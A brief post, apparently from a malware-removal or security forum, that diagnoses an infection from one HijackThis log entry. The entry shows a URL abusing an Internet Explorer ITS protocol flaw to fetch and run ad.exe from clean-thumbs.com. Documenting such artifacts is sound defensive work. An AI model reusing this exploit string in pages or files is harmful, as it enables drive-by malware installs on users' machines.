clean-thumbs.com seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11111111-1111-1111-1111-111111111157} - ms-its:mhtml:file://C:\\MAIN.MHT!http://clean-thumbs.com//index//in//index.chm::/ad.exe
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